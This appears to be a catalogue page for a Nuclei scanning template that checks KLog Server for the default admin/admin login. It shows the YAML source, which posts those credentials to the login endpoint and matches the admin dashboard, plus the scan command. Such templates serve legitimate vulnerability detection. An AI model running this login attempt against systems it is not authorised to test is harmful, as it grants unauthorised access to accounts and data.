KLog Server - Default Login

ID: klog-server-default-login

Severity: high

Author: s4e-io

Tags: default-login,klog-server

Description

KLog Server contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: klog-server-default-login

info:
  name: KLog Server - Default Login
  author: s4e-io
  severity: high
  description: |
    KLog Server contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.klogserver.com/
  metadata:
    max-request: 2
    vendor: klogserver
    product: klog_server
  tags: default-login,klog-server

http:
  - raw:
      - |
        POST /actions/entree.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pswd={{password}}&action=login

      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<title>KLog Server", "ADMIN", "Dashboard")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100e1834e37da78bec3ac420b56e137127fcca01fdb51d2351004b27416368a3e21022100a80106190b2dfa9aa45122c35466110b56226edb0ccfc9c034d634fc9f73064f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/klog-server-default-login.yaml"

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